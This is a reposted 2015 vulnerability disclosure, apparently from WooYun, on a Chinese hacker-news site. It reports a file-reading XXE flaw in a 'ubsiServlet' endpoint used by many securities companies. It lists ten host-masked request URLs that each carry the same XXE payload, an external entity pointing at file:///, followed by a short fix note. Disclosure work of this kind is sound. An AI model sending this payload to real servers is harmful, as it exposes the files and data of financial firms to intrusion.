记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

某证券通用文件遍历读取(涉及大量证券公司)

2015-11-20 03:05

某证券存在XXE导致目录或文件可被读取



以下是10个证券类的案例:

code 区域
http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY  xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi> 

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

https://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

http://**.**.**.**/ubsiServlet?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///">]><ubsi service="service" method="method"><object type="Integer">%26xxe;</object></ubsi>

漏洞证明:

QQ截图20150819163107.png



QQ截图20150819163134.png





修复方案:

修复XXE,如果接口没用的话可以屏蔽掉。

知识来源: www.wooyun.org/bugs/wooyun-2015-0135336

阅读:67435 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“某证券通用文件遍历读取(涉及大量证券公司)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词